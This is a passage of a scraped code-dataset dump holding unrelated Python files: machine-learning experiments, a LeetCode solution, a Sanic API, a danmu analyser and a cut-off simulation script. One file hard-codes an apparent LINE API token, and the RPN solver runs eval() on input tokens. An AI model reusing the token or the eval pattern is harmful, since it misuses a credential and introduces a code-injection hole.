self._node_label_frequency(node_idx)\n \n def all_probabilities(self):\n col = self.A_hat.col\n data = self.A_hat.data ** 2\n \n final = np.zeros((self.n,))\n for a, b in zip(col, data): final[a] += b\n prob = np.sqrt(final) / self._node_label_frequency()\n return torch.tensor(prob)","repo_name":"Anirban600/GNN_Thesis_V2","sub_path":"graphsage_PNC_CNS/pick.py","file_name":"pick.py","file_ext":"py","file_size_in_byte":2312,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"31963592967","text":"# 150. 逆波兰表达式求值\nclass Solution:\n def evalRPN(self, tokens: List[str]) -> int:\n stack = []\n for token in tokens:\n if token in {\"+\",\"-\",\"*\",\"/\"}:\n a,b = stack.pop(),stack.pop()\n stack.append(str(int(eval(b+token+a))))\n else:\n stack.append(token)\n\n return int(stack[-1])\n\n","repo_name":"mrmenand/Py_transaction","sub_path":"LeetCode/arrary/easy/150.逆波兰表达式求值.py","file_name":"150.逆波兰表达式求值.py","file_ext":"py","file_size_in_byte":376,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"18162034173","text":"import urllib2\nimport os\nimport time\nimport sys\nimport subprocess\n\ninterval = int(sys.argv[2])\nbase_url = str(sys.argv[3])\n\nwhile 1:\n time.sleep(interval)\n a = open(\"/proc/loadavg\")\n b = a.readline().split(\" \")\n loadavg = float(b[0])*100\n a.close()\n value = '{\"value\": %f}' % loadavg\n url = base_url\n inicio = time.time()\n req = urllib2.Request(url, value, {'Content-Type': 'application/json'})\n f = urllib2.urlopen(req)\n #//subprocess.call(['curl', '-XPOST', '-H', 'Content-type: application/json', '-d', value, url])\n for x in f:\n print(x)\n f.close()\n end = time.time()\n totalTime = end - inicio\n print(totalTime)","repo_name":"celiomarcio/iotregauthbc","sub_path":"testbed-iot-api-edge/postDataNoGateway.py","file_name":"postDataNoGateway.py","file_ext":"py","file_size_in_byte":670,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"61"} +{"seq_id":"38993830082","text":"import config\n\n# sanic import\nfrom sanic.request import Request\nfrom sanic.response import json, BaseHTTPResponse\n\n# project import\nfrom lib.struct.__base import db, omdb_api\nfrom lib.struct.user import User, UserType\nfrom lib.struct.booking import Booking\nfrom lib.struct.movie import Movie\nfrom lib.struct.screentime import ScreenTime\nfrom lib.utils.token import generateToken, getUserByToken, TOKEN_HEADER\nfrom lib.exceptions.UserNotFoundException import UserNotFoundException\n\n# GET: /api/movie/getAll\nasync def movie_getAll(request: Request) -> BaseHTTPResponse:\n temp = Movie().getAll()\n movies = []\n for entry in temp:\n movies.append(entry.toJson())\n return json({\n \"status\": 200,\n \"screens\": movies\n })\n\n# GET: /api/movie/get\nasync def movie_get(request: Request) -> BaseHTTPResponse:\n body = request.args\n\n if body.get(\"movieId\") is None:\n return json({\n \"status\": 400,\n \"message\": \"missing movieId value\"\n }, status=400)\n \n movie = Movie().getById(body.get(\"movieId\"))\n\n movieDetails = omdb_api.searchTitle(movie.omdbName)\n \n return json({\n \"status\": 200,\n \"movie\": movie.toJson(),\n \"movieDetails\": movieDetails\n })\n\n# POST: /api/movie/add\nasync def movie_add(request: Request) -> BaseHTTPResponse:\n body = request.json\n # check if user is client. if so, kick out\n usr = User().getByToken(request.headers.get(TOKEN_HEADER))\n if usr.usertype == UserType.CLIENT:\n return json({\n \"status\": 403,\n \"message\": \"forbidden\"\n }, status=403)\n # input data check\n if body.get(\"movieName\") is None:\n return json({\n \"status\": 400,\n \"message\": \"missing movieName value\"\n }, status=400)\n # omdbName check\n omdbName = body.get(\"omdbName\")\n omdbName = omdbName if not omdbName is None else body.get(\"movieName\")\n # insert data on database\n movie = Movie()\n movie.omdbName = omdbName\n movie.movieName = body.get(\"movieName\")\n _id = movie.addOnDb()\n return json({\n \"status\": 200,\n \"message\": \"ok.\",\n \"id\": _id\n })","repo_name":"KuroZetsubou/MovieManager","sub_path":"lib/routes/movie.py","file_name":"movie.py","file_ext":"py","file_size_in_byte":2162,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"18834240969","text":"import pymongo\nimport jieba\nimport logging.config\nfrom conf.setttings import mongodb_setting,logging_setting, logger_name\n\n\nclass GetDouyuBarrageKeyWords:\n def __init__(self, db, collection):\n logging.config.dictConfig(logging_setting)\n self.logger = logging.getLogger(logger_name)\n\n self.logger.info('正在初始化mongodb')\n self.mongo_db_get = db\n self.mongo_collection_get = collection\n mongo_host_get = mongodb_setting['host']\n mongo_port_get = mongodb_setting['port']\n self.mongo_conn_get = pymongo.MongoClient(host=mongo_host_get, port=mongo_port_get)\n self.mongo_get = self.mongo_conn_get[self.mongo_db_get][self.mongo_collection_get]\n\n mongo_host_put = mongodb_setting['host']\n mongo_port_put = mongodb_setting['port']\n self.mongo_db_put = self.mongo_db_get\n self.mongo_collection_put = self.mongo_collection_get + '_key_words'\n self.mongo_conn_put = pymongo.MongoClient(host=mongo_host_put, port=mongo_port_put)\n self.mongo_put = self.mongo_conn_put[self.mongo_db_put][self.mongo_collection_put]\n self.logger.info('mongodb初始化成功')\n\n self.barrage_key_word_num = barrage_key_word_num # 关键词的数量\n self.doc_num = self.mongo_get.find({}).count() # 需要处理的数据数\n self._id = self.mongo_put.find({}).count # 写入数据的id\n self.barrage_dict = dict() # key为弹幕, value为弹幕出现次数\n self.result_list = [] # 存储结果的list\n self._id = self.mongo_put.find({}).count() # 数据的id\n\n def get_barrage(self, index):\n \"\"\"\n 从数据库中获取弹幕\n :param index: 数据的id\n :return: 获取的弹幕\n \"\"\"\n return self.mongo_get.find_one({'_id': index})\n\n def analyse(self, barrage):\n \"\"\"\n 解析弹幕,进行分词,并修改barrage_dict\n :param barrage:\n :return:\n \"\"\"\n text = barrage['txt'].strip().replace(' ', '')\n words = jieba.cut(text) # 对弹幕进行分词处理\n\n for word in words:\n if len(word) < 2: # 单词长度小于2的忽略\n continue\n try:\n self.barrage_dict[word] += 1\n except Exception:\n self.barrage_dict[word] = 1\n\n def set_result_list(self):\n \"\"\"\n 将barrage_dict转换为列表,并进行排序,将排序的结果赋值给result_list\n :return:\n \"\"\"\n result = list(zip(self.barrage_dict.keys(), self.barrage_dict.values()))\n result.sort(key=lambda x: -x[1])\n self.result_list = result[:self.barrage_key_word_num]\n\n def save_data(self):\n \"\"\"\n 将结果写入数据库\n :return:\n \"\"\"\n self.logger.info(self.result_list)\n for index, line in enumerate(self.result_list):\n self.result_list[index] = {'_id': self._id, 'word': line[0], 'num': line[1]}\n self._id += 1\n self.logger.info(self.result_list)\n self.mongo_put.insert(self.result_list) # 将数据写入数据库\n\n def close(self):\n \"\"\"\n 关闭数据库连接\n :return:\n \"\"\"\n self.mongo_conn_put.close()\n self.mongo_conn_get.close()\n\n def run(self):\n for i in range(self.doc_num):\n danmu = self.get_barrage(i)\n self.analyse(danmu)\n self.set_result_list()\n self.save_data()\n self.close()\n\n\nif __name__ == '__main__':\n ald = GetDouyuBarrageKeyWords(db='test', collection='douyu252140金咕咕金咕咕doinb')\n ald.run()\n","repo_name":"clearsky/DouyuBarrageWordCloud","sub_path":"core/GetDouyuBarrageKeyWords.py","file_name":"GetDouyuBarrageKeyWords.py","file_ext":"py","file_size_in_byte":3639,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"74498169154","text":"\r\nfrom songline import Sendline\r\n\r\ntoken = 'e5jBNFbJA45EVDt2EQ51zrUuamy2fgiRVSVgWmaYjZx'\r\n\r\nmessenger = Sendline(token)\r\n\r\n#messenger.sendtext('Hello world')\r\nmessenger.sticker(290,4)\r\n#messenger.sendimage('เช้าวันเสาร์&gs_lcp=CgNpbWcQAzIECAAQEzIECAAQEzIECAAQEzIECAAQEzIECAAQEzIECAAQEzIECAAQEzIECAAQEzIECAAQEzoHCCMQ7wMQJ1DiD1imFGDWFmgAcAB4AIABswGIAeEFkgEDMC41mAEAoAEBqgELZ3dzLXdpei1pbWfAAQE&sclient=img&ei=cCV9Yrv4EbGHjuMP48aT-AU&bih=657&biw=1349&rlz=1C1ONGR_enTH996TH996&hl=en')\r\n","repo_name":"Monnakan/Bot-sendline","sub_path":"line-bot.py","file_name":"line-bot.py","file_ext":"py","file_size_in_byte":505,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"71440239233","text":"import math\nfrom nltk import everygrams\nimport matplotlib.pyplot as plt\nimport numpy as np\n\n\ndef activity_two(frec_letters, msg, n_grams):\n\n R = math.log(len(frec_letters), 2)\n print(\"\\nRango absoluto R = \", R)\n # Creamos diferentes gramas\n grams = list(everygrams(msg.lower(), n_grams, n_grams))\n # Convertirmos a \"set\" para quitar elementos repetidos\n realgram = list(set(grams))\n\n # Calcular rangos r\n rangos_grams = graficar_rangos(n_grams+1, msg.lower(), R)\n # Imprimar los rangos\n print(\"\\nrangos 'r' para cada n-gram\")\n for i in range(n_grams):\n print(\"n-gram[\", i+1, \"] - R =\", rangos_grams[i])\n\n # Redundancia para cada n\n print(\"\\nRedundancia 'D' para cada rango 'r'\")\n for i in range(n_grams):\n print(\"n-gram[\", i+1, \"] - D =\", R-rangos_grams[i])\n\n print(\"\\nObservar figura 'grafica_rango.png'\")\n # Cantidad de información de cada char\n # ademas de entroopia\n entropia = 0\n print(\"\\nBits de informacion para cada simbolo\")\n for key, frec in frec_letters:\n bit_info = math.log2(1/frec)\n print(key, bit_info)\n entropia += (frec * bit_info)\n print(\"\\nEntropia = \", entropia)\n\n\ndef graficar_rangos(max_rango, msg, R):\n plt.close\n lis_values_rangos = []\n for i in range(1, max_rango):\n # Creamos diferentes gramas\n grams = list(everygrams(msg, i, i))\n # Convertirmos a \"set\" para quitar elementos repetidos\n realgram = list(set(grams))\n print(realgram)\n r = math.log(len(realgram), 2**i)\n lis_values_rangos.append(r)\n\n D = R - np.array(lis_values_rangos)\n plt.plot(list(range(1, max_rango)),\n lis_values_rangos, 'ro', label=\"rango r\")\n plt.plot(list(range(1, max_rango)), D, 'bs', label=\"Redundancia D\")\n plt.axis([0, max_rango, 0, 5])\n plt.xlabel(\"Poligramas\")\n plt.legend()\n plt.savefig(\"grafica_rango.png\")\n\n return lis_values_rangos\n","repo_name":"diazmx/cysi-class","sub_path":"Huffman-Coding/two.py","file_name":"two.py","file_ext":"py","file_size_in_byte":1936,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"71364774275","text":"import tensorflow as tf\r\nfrom tensorflow.examples.tutorials.mnist import input_data\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\nimport matplotlib.gridspec as gridspec\r\nimport os\r\nfrom Class_F_Functions import pareto_frontier, F_Functions, scale_columns, igd\r\n\r\nmb_size = 150 # Minibatch size\r\nX_dim = 10 # Number of variables to approximate\r\nz_dim = 30 # Dimension of the latent variable (z_dim=30)\r\nh_dim = 128\r\nFunction = \"F\" + str(8) # 8-MO function to optimize, all in F1...F9, except F6\r\nn=10 # Number of Variables of the MO function (n=10)\r\nk = 1000 # Number of samples of the Pareto set for computing approximation (k=1000)\r\nMOP_f = F_Functions(n, Function) # Creates a class co1 D ntaining details on MOP\r\nps_all_x = MOP_f.Generate_PS_samples(k) # Generates k points from the Pareto Set\r\npf1, pf2 = MOP_f.Evaluate_MOP_Function(ps_all_x) # Evaluate the points from the Pareto Set\r\nps_all_x = scale_columns(ps_all_x) # Scales columns so it could be used for learning model\r\n\r\ndef xavier_init(size):\r\n in_dim = size[0]\r\n xavier_stddev = 1. / tf.sqrt(in_dim / 2.)\r\n return tf.random_normal(shape=size, stddev=xavier_stddev)\r\n\r\n\r\nX = tf.placeholder(tf.float32, shape=[None, X_dim])\r\n\r\nD_W1 = tf.Variable(xavier_init([X_dim, h_dim]))\r\nD_b1 = tf.Variable(tf.zeros(shape=[h_dim]))\r\n\r\nD_W2 = tf.Variable(xavier_init([h_dim, 1]))\r\nD_b2 = tf.Variable(tf.zeros(shape=[1]))\r\n\r\ntheta_D = [D_W1, D_W2, D_b1, D_b2]\r\n\r\n\r\nz = tf.placeholder(tf.float32, shape=[None, z_dim])\r\n\r\nG_W1 = tf.Variable(xavier_init([z_dim, h_dim]))\r\nG_b1 = tf.Variable(tf.zeros(shape=[h_dim]))\r\n\r\nG_W2 = tf.Variable(xavier_init([h_dim, X_dim]))\r\nG_b2 = tf.Variable(tf.zeros(shape=[X_dim]))\r\n\r\ntheta_G = [G_W1, G_W2, G_b1, G_b2]\r\n\r\ndef batch_function(num, data, start):\r\n\r\n '''\r\n Return a total of `num` samples and labels.\r\n '''\r\n idx = np.arange(start, np.min([start+num,len(data)]))\r\n return data[idx,:]\r\n\r\n\r\ndef sample_z(m, n):\r\n return np.random.uniform(-1., 1., size=[m, n])\r\n\r\n\r\ndef generator(z):\r\n G_h1 = tf.nn.relu(tf.matmul(z, G_W1) + G_b1)\r\n G_log_prob = tf.matmul(G_h1, G_W2) + G_b2\r\n G_prob = tf.nn.sigmoid(G_log_prob)\r\n return G_prob\r\n\r\n\r\ndef discriminator(x):\r\n D_h1 = tf.nn.relu(tf.matmul(x, D_W1) + D_b1)\r\n out = tf.matmul(D_h1, D_W2) + D_b2\r\n return out\r\n\r\n\r\nG_sample = generator(z)\r\nD_real = discriminator(X)\r\nD_fake = discriminator(G_sample)\r\n\r\nD_loss = tf.reduce_mean(D_real) - tf.reduce_mean(D_fake)\r\nG_loss = -tf.reduce_mean(D_fake)\r\n\r\nD_solver = (tf.train.RMSPropOptimizer(learning_rate=1e-4)\r\n .minimize(-D_loss, var_list=theta_D))\r\nG_solver = (tf.train.RMSPropOptimizer(learning_rate=1e-4)\r\n .minimize(G_loss, var_list=theta_G))\r\n\r\nclip_D = [p.assign(tf.clip_by_value(p, -0.01, 0.01)) for p in theta_D]\r\n\r\nsess = tf.Session()\r\nsess.run(tf.global_variables_initializer())\r\n\r\nif not os.path.exists('out/'):\r\n os.makedirs('out/')\r\n\r\ni = 0\r\nlowest_igd= 10000\r\nfor it in range(100000):\r\n for _ in range(5):\r\n\r\n z_mb = sample_z(mb_size,z_dim)\r\n X_mb = batch_function(mb_size, ps_all_x, i)\r\n\r\n _, D_loss_curr, _ = sess.run(\r\n [D_solver, D_loss, clip_D],\r\n feed_dict={X: X_mb, z: sample_z(mb_size, z_dim)}\r\n )\r\n\r\n _, G_loss_curr = sess.run(\r\n [G_solver, G_loss],\r\n feed_dict={z: sample_z(mb_size, z_dim)}\r\n )\r\n\r\n if it % 100 == 0:\r\n print('Iter: {}; D loss: {:.4}; G_loss: {:.4}'\r\n .format(it, D_loss_curr, G_loss_curr))\r\n\r\n if it % 1000 == 0:\r\n final_samples = sess.run(G_sample, feed_dict={z: sample_z(1000, z_dim)})\r\n nf1, nf2 = MOP_f.Evaluate_MOP_Function(final_samples)\r\n Tf1, Tf2 = pareto_frontier(nf1, nf2)\r\n igd_val = igd(np.vstack((Tf1, Tf2)).transpose(), np.vstack((pf1, pf2)).transpose())\r\n if(igd_val < lowest_igd):\r\n lowest_igd = igd_val\r\n print(\"igd_val \",igd_val)\r\n i += 1\r\nprint(\"lowest igd :\",lowest_igd)","repo_name":"mehta128/Neuroevolution-of-GAN-for-generating-ParetoSet-using-Cultural-Algorithm","sub_path":"WGANforParetoSet.py","file_name":"WGANforParetoSet.py","file_ext":"py","file_size_in_byte":4002,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"13348954434","text":"from builtins import range\nimport sys\nsys.path.insert(1,\"../../../\")\nimport h2o\nfrom tests import pyunit_utils\nimport random\nfrom h2o.estimators.glm import H2OGeneralizedLinearEstimator\n\ndef covtype():\n covtype = h2o.import_file(path=pyunit_utils.locate(\"smalldata/covtype/covtype.20k.data\"))\n #\n myY = 54\n myX = [x for x in range(0,54) if x not in [20,28]]\n\n # Set response to be indicator of a particular class\n res_class = random.randint(1,4)\n covtype[54] = (covtype[54] == res_class)\n\n #covtype.summary()\n\n\n # L2: alpha = 0, lambda = 0\n covtype_mod1 = H2OGeneralizedLinearEstimator(family=\"binomial\", alpha=0, Lambda=0)\n covtype_mod1.train(x=myX, y=myY, training_frame=covtype)\n covtype_mod1.show()\n\n # Elastic: alpha = 0.5, lambda = 1e-4\n covtype_mod2 = H2OGeneralizedLinearEstimator(family=\"binomial\", alpha=0.5, Lambda=1e-4)\n covtype_mod2.train(x=myX, y=myY, training_frame=covtype)\n covtype_mod2.show()\n\n # L1: alpha = 1, lambda = 1e-4\n covtype_mod3 = H2OGeneralizedLinearEstimator(family=\"binomial\", alpha=1, Lambda=1e-4)\n covtype_mod3.train(x=myX, y=myY, training_frame=covtype)\n covtype_mod3.show()\n\n\nif __name__ == \"__main__\":\n pyunit_utils.standalone_test(covtype)\nelse:\n covtype()\n","repo_name":"h2oai/h2o-3","sub_path":"h2o-py/tests/testdir_algos/glm/pyunit_covtype_glm.py","file_name":"pyunit_covtype_glm.py","file_ext":"py","file_size_in_byte":1217,"program_lang":"python","lang":"en","doc_type":"code","stars":6553,"dataset":"github-code","pt":"61"} +{"seq_id":"70916234435","text":"'''\n\nA small ConvNET much similar to DenseNet using Keras functional API\n\n'''\n\nimport pickle\nfrom keras.layers import Dense, Input, Activation, BatchNormalization, Dropout, LeakyReLU \nfrom keras.layers import Conv2D, MaxPooling2D, Concatenate, GlobalAveragePooling2D\nfrom keras.models import Model\nfrom keras.optimizers import Adam\nfrom keras.utils import to_categorical\nfrom keras.callbacks import TensorBoard, ReduceLROnPlateau\nfrom sklearn.model_selection import train_test_split\n\n\n# Load the data and convert it into the required format\nclass LoadData():\n\n\n\tdef __init__(self,data_filename,labels_filename):\n\t\t\n\t\t# Load CIFAR-10 from a pickeld file\n\t\t# The same could also be done using keras.datasets\n\t\tself.data_filename = data_filename\n\t\tself.labels_filename = labels_filename\n\t\twith open(data_filename,'rb') as fo:\n\t\t\tx = pickle.load(fo)\n\t\twith open(labels_filename,'rb') as fo:\n\t\t\ty = pickle.load(fo)\n\t\tx = x/255.0\n\t\tself.x = x\n\t\tself.y = y\n\n\n\tdef train_dev_Set(self):\n\n\t\t# Spilliting into train and dev set\n\t\tx_train,x_dev,y_train,y_dev = train_test_split(self.x,self.y,\n\t\t\ttest_size=0.15,random_state=25)\n\t\tself.y_train = y_train\n\t\tself.y_dev = y_dev\n\t\t\n\t\treturn x_train, x_dev, y_train, y_dev\n\n\n\tdef test_Set(self,test_data_filename,test_labels_filename):\n\t\t\n\t\t# Load test set from pickled file\n\t\twith open(test_data_filename, 'rb') as fo:\n\t\t\tx_test = pickle.load(fo)\n\t\twith open(test_labels_filename, 'rb') as fo:\n\t\t\ty_test = pickle.load(fo)\n\t\tx_test = x_test/255.0\n\t\tself.y_test = y_test\n\t\t\n\t\treturn x_test, y_test\n\n\n\tdef OneHot(self):\n\n\t\t# Concert to One-Hot encoding\n\t\tyoh_train = to_categorical(self.y_train, num_classes=10)\n\t\tyoh_dev = to_categorical(self.y_dev, num_classes=10)\n\t\tyoh_test = to_categorical(self.y_test, num_classes=10)\n\t\t\n\t\treturn yoh_train, yoh_dev, yoh_test\n\n\n\nclass Blocks():\n\n\tdef __init__(self):\n\t\tpass\n\n\n\t# Conv block\n\tdef ConvBlock(self,input_matrix,filters,s1,s2,block_name):\n\n\t\tnxt_layer = Conv2D(filters, (s1,s2), padding='SAME',\n\t\t\tname=block_name+'_Conv2D')(input_matrix)\n\t\tnxt_layer = BatchNormalization(name=block_name+'_BatchNorm')(nxt_layer)\n\t\tnxt_layer = LeakyReLU(alpha=0.0001,name=block_name+'_LeakyReLU')(nxt_layer)\n\n\t\treturn nxt_layer\n\n\n\t# Dense block\n\tdef DenseBlock(self,input_matrix,n_hidden,block_name,out=False):\n\n\t\t\tnxt_layer = Dense(n_hidden,name=block_name+'_Dense')(input_matrix)\n\t\t\tnxt_layer = BatchNormalization(name=block_name+'_BatchNorm')(nxt_layer)\n\t\t\t\n\t\t\tif out:\n\t\t\t\tnxt_layer = Activation('softmax',name=block_name+'_Out_Layer')(nxt_layer)\n\t\t\telse:\n\t\t\t\tnxt_layer = LeakyReLU(alpha=0.0001,name=block_name+'_Activation')(nxt_layer)\n\t\t\t\tnxt_layer = Dropout(0.5,name=block_name+'_Dropout')(nxt_layer)\n\n\t\t\treturn nxt_layer\n\n\n# Network architecture\ndef DenseNet(blocks):\n\n\tinputs = Input(name='Inputs',shape=[32,32,3])\n\n\tcon_layer = Conv2D(32,(3,3),padding='SAME',name='Conv2D_1')(inputs)\n\tcon_layer = BatchNormalization(name='BatchNorm_1')(con_layer)\n\tcon_layer = LeakyReLU(alpha=0.0001,name='LeakyReLU_1')(con_layer)\n\n\tlayer = blocks.ConvBlock(con_layer,32,2,2,'Block_A')\n\tlayer = Concatenate()([layer,con_layer])\n\n\tlayer = MaxPooling2D(pool_size=(2,2),name='MaxPool_1')(layer)\n\n\tcon_layer = blocks.ConvBlock(layer,32,2,2,'Block_B1')\n\tlayer = blocks.ConvBlock(con_layer,32,2,2,'Block_B2')\n\tlayer = Concatenate()([layer,con_layer])\n\n\tlayer = MaxPooling2D(pool_size=(2,2),name='MaxPool_2')(layer)\n\t\n\tcon_layer = blocks.ConvBlock(layer,32,2,2,'Block_C1')\n\tlayer = blocks.ConvBlock(con_layer,32,2,2,'Block_C2')\n\tlayer = Concatenate()([layer,con_layer])\n\n\tlayer = MaxPooling2D(pool_size=(2,2),name='MaxPool_3')(layer)\n\n\tlayer = GlobalAveragePooling2D(name='Global_Avg_Pool')(layer)\n\n\tlayer = blocks.DenseBlock(layer,1024,'Block_D')\n\n\tlayer = blocks.DenseBlock(layer,1024,'Block_E')\n\n\tlayer = blocks.DenseBlock(layer,10,'Block_F',out=True)\n\n\tmodel = Model(inputs=inputs, outputs=layer)\n\n\treturn model\n\n\n\n# Main\ndef main():\n\t\n\tbatch_size = 128\n\tepochs = 50\n\tlearning_rate = 0.0001\n\tTboard = TensorBoard(log_dir=\"./DenseNet_graph\")\n\treduce_lr = ReduceLROnPlateau(monitor='val_loss',factor=0.01,min_lr=0.00001,patience=3)\n\n\tdata = LoadData('data.bin','labels.bin')\n\tx_train, x_dev, y_train, y_dev = data.train_dev_Set()\n\tx_test, y_test = data.test_Set('data_test.bin','labels_test.bin')\n\ty_train, y_dev, y_test = data.OneHot()\n\n\tblocks = Blocks()\n\n\tmodel = DenseNet(blocks)\n\n\tmodel.summary()\n\n\tmodel.compile(loss='categorical_crossentropy', \n\t\toptimizer=Adam(lr=learning_rate),metrics=['accuracy'])\n\n\tmodel.fit(x=x_train,y=y_train,batch_size=batch_size,epochs=epochs,\n\t\tvalidation_data=(x_dev,y_dev), callbacks=[Tboard,reduce_lr])\n\n\tx_lst = [x_train,x_dev,x_test]\n\ty_lst = [y_train,y_dev,y_test]\n\n\tfor i, (x, y) in enumerate(zip(x_lst,y_lst)):\n\t\taccr = model.evaluate(x=x, y=y, batch_size=128)\n\t\tif i == 0:\n\t\t\tprint('Training set\\n Loss: {:f}, Accuracy: {:0.3f}'.format(accr[0],accr[1]))\n\t\t\tprint('-'*50)\n\t\telif i == 1:\n\t\t\tprint('Dev set\\n Loss: {:f}, Accuracy: {:0.3f}'.format(accr[0],accr[1]))\n\t\t\tprint('-'*50)\n\t\telse:\n\t\t\tprint('Test set\\n Loss: {:f}, Accuracy: {:0.3f}'.format(accr[0],accr[1]))\n\t\t\tprint('-'*50)\n\n\t# Save trained weights\n\tmodel.save_weights('small_DenseNET_weights.hdf5')\n\n\n\nif __name__ == '__main__':\n\tmain()\n","repo_name":"kredy/Keras-Projects","sub_path":"small_DenseNet.py","file_name":"small_DenseNet.py","file_ext":"py","file_size_in_byte":5192,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"20364767706","text":"import ercs\nimport discsim\nimport numpy as np\nimport random\nimport math\nimport argparse\nimport newick\nimport discs_phyrexxmlwriter\nimport beastxmlwriter\nimport dendropy\nimport treegenerator\nimport os\n\n\n#tree by this is not completely ultrametric\n#there are some small on the branch ages\n#this functions make so branches longer if needed\ndef ultrametrize(tree):\n\t#print(tree.as_ascii_plot())\n\tmax_time =0\n\tfor leaf in tree.leaf_node_iter():\n\t\tprint(leaf.time)\n\t\tprint(max_time)\n\t\tmax_time = max(leaf.time, max_time)\n\tfor leaf in tree.leaf_node_iter():\n\t\tleaf.edge_length = leaf.edge_length +max_time-leaf.time\n\t\tleaf.time = max_time\n\treturn tree\n\nparser = argparse.ArgumentParser(description='Run simulations')\nparser.add_argument('-jobi', action=\"store\", type=int, dest=\"job_index\", default=1, help='job index')\nparser.add_argument('-N', action=\"store\", type=int, dest=\"num_simulations\", default=1, help='number of simulations (default 1)')\nparser.add_argument('--re_run', dest='re_run', action='store_const', const=True, default=False, help='is this a re-run, so we should not generate new trees but only run beast again on the previous simulations that did not complete? (default: False)')\n\nargs = parser.parse_args()\n\njob_index = args.job_index\nnum_simulations = args.num_simulations\n#Should I only run beast again for the cases that did not run before?\nreRun_beast_only=args.re_run\n\n\n\n\n\nif not os.path.exists(\"output\"):\n\tos.makedirs(\"output\")\nif not os.path.exists(\"output/beast\"):\n\tos.makedirs(\"output/beast\")\nif not os.path.exists(\"output/beast/LV\"):\n\tos.makedirs(\"output/beast/LV\") \nif not os.path.exists(\"output/beast/LV/beast_input\"):\n\tos.makedirs(\"output/beast/LV/beast_input\")\nif not os.path.exists(\"output/beast/LV/beast_output\"):\n\tos.makedirs(\"output/beast/LV/beast_output\")\n\nif not os.path.exists(\"output/phyrex\"):\n\tos.makedirs(\"output/phyrex\")\n\nif not os.path.exists(\"output/phyrex/LV\"):\n\tos.makedirs(\"output/phyrex/LV\") \nif not os.path.exists(\"output/phyrex/LV/phyrex_output\"):\n\tos.makedirs(\"output/phyrex/LV/phyrex_output\")\nif not os.path.exists(\"output/phyrex/LV/phyrex_input\"):\n\tos.makedirs(\"output/phyrex/LV/phyrex_input\")\nif not os.path.exists(\"output/LV/root_data\"):\n\tos.makedirs(\"output/LV/root_data\")\n\nfor index in range(job_index*num_simulations, (job_index+1)*num_simulations):\n\tif (not reRun_beast_only) or (not os.path.exists(\"output/phyrex/LV/phyrex_input/phyrex\"+str(index)+\".xml\")):\n\t\tL = 100\n\t\t''' R is the diameter of the torus we are simulating on. \n\t\t\tThis defines the size of the 1D or 2D space that lineages\n\t\t\tcan move around in.'''\n\t\tsim = discsim.Simulator(L)\n\t\n\t\t#array for sample locations\n\t\ta = [None]\n\n\t\t#number of samples\n\t\tn = 100\n\t\tx = np.zeros(n) \n\t\ty = np.zeros(n) \n\t\tfor i in range(n):\n\t\t\tif index < 100:\n\t\t\t\tx[i] = (random.uniform(25, 75))%L\n\t\t\t\ty[i] = (random.uniform(25, 75))%L\n\t\t\t\ta.append((x[i], y[i]))\n\t\t\telse:\n\t\t\t\tx[i] = (random.uniform(45, 55))%L\n\t\t\t\ty[i] = (random.uniform(45, 55))%L\n\t\t\t\ta.append((x[i], y[i]))\n\n\t\tsim.sample = a\n\n\t\trad = 0.1 \n\n\t\tmu=0.1\n\t\tlambda1=2*L**2/(mu*rad**4*math.pi)\n\n\t\tsim.event_classes = [ercs.DiscEventClass(r = rad, u = mu, rate = lambda1)]\n\t\t''' All individuals within distance r of the centre of an event\n\t\t\thave probability u of dying in the event \n\t\t\tand parents are thrown down uniformly within this disc.'''\n\t\n\t\n\t\tsim.run()\n\t\n\t\n\t\tpi, tau = sim.get_history()\n\t\tal = sim.get_population()[0][0]\n\n\n\t\tfile = open(\"output/LV/root_data/actual_root\"+str(index)+\".txt\", \"w\")\n\t\tfile.write(str(al[0])+\"\\n\"+str(al[1]))\n\t\tfile.close()\n\n\t\ttree_newick = newick.convert_to_newick(pi, tau, True)\n\t\ttree = dendropy.Tree.get(data=tree_newick, schema=\"newick\")\n\n\t\ttree = treegenerator.calculate_times(tree)\n\t\ttree = ultrametrize(tree)\n\t\tfor leaf_index in range(1,n+1):\n\t\t\tleaf_label =\"s\"+str(leaf_index)\n\t\t\tif leaf_index < 10:\n\t\t\t\tleaf_label = \"s000\"+str(leaf_index)\n\t\t\telif leaf_index < 100:\n\t\t\t\tleaf_label = \"s00\"+str(leaf_index)\n\t\t\telif leaf_index < 1000:\n\t\t\t\tleaf_label = \"s0\"+str(leaf_index)\t\n\t\t\tnode = tree.find_node_with_taxon_label(leaf_label)\n\t\t\tnode.X = a[leaf_index][0]\n\t\t\tnode.Y = a[leaf_index][1]\n\t\t\tnode.annotations.add_bound_attribute(\"X\")\n\t\t\tnode.annotations.add_bound_attribute(\"Y\")\t\n\t\t\tnode.annotations.add_bound_attribute(\"time\")\t\n\t\tbeastxmlwriter.write_BEAST_xml(tree, index, dimension=2, mcmc=10000, log_every=10, beast_input_string=\"output/beast/LV/beast_input/beast\", beast_output_string=\"output/beast/LV/beast_output/beast\")\n\t\tdiscs_phyrexxmlwriter.write_phyrex_input(tree, index, input_string=\"output/phyrex/LV/phyrex_input/\" , output_string=\"output/phyrex/LV/phyrex_output/\", bound=L)\n\t\t\n\t\tos.system('ulimit -c unlimited; beast -overwrite -seed 123456795 \"output/beast/LV/beast_input/beast'+str(index)+'.xml\"')\n\n\t#line to run BEAST\n\t#NICOLA: added the \"ulimit -c unlimited;\" again to try to avoid core dumping\n\telif (not reRun_beast_only) or (not os.path.exists(\"output/beast/LV/beast_output/beast\"+str(index)+\".log.txt\")):\n\t\tos.system('ulimit -c unlimited; beast -overwrite -seed 123456795 